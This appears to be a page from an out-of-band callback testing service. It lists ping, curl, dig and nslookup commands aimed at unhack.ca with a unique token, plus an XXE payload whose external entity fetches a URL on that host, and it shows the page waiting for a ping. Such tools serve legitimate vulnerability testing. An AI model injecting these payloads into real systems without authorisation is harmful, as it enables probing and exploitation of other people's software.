$ ping -c1 -p 009d0c4440ff7db93d953f6ef2c50500 unhack.ca
 
$ curl http://unhack.ca/p/9d0c4440ff7db93d953f6ef2c505
 
$ dig 9d0c4440ff7db93d953f6ef2c505 @unhack.ca
 
$ dig 9d0c4440ff7db93d953f6ef2c505.ns.unhack.ca
 
C:\> nslookup 9d0c4440ff7db93d953f6ef2c505 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9d0c4440ff7db93d953f6ef2c505">]>
    <foo>&xxe;</foo>
Waiting for ping...